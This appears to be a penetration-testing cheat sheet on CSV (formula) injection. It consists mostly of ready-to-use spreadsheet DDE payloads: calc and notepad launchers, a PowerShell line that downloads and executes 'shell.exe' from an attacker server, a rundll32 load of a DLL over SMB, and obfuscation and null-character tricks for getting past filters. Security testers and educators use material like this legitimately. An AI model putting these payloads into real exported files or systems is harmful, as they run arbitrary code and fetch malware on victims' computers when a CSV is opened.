# CSV Injection (Formula Injection)

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

## Exploit

Basic exploit with Dynamic Data Exchange

```
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0

# pop a notepad
=cmd|' /C notepad'!'A1'

# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

# Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A

# Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A

# Using null characters to bypass dictionary filters. Since they are not spaces, they
are ignored when executed.
=    C    m D                    |        '/        c       c  al  c      .  e
x       e  '   !   A
```

Technical Details of the above payload:

- `cmd` is the name the server can respond to whenever a client is trying to access the server
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data

Any formula can be started with

```
=
+
–
@
```

## References

- OWASP - CSV Excel Macro Injection
- Google Bug Hunter University - CSV Excel formula injection
- Comma Separated Vulnerabilities - James Kettle
- CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani
- From CSV to Meterpreter - 5th November 2015 - Adam Chester
- CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy
- The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer
- Three New DDE Obfuscation Methods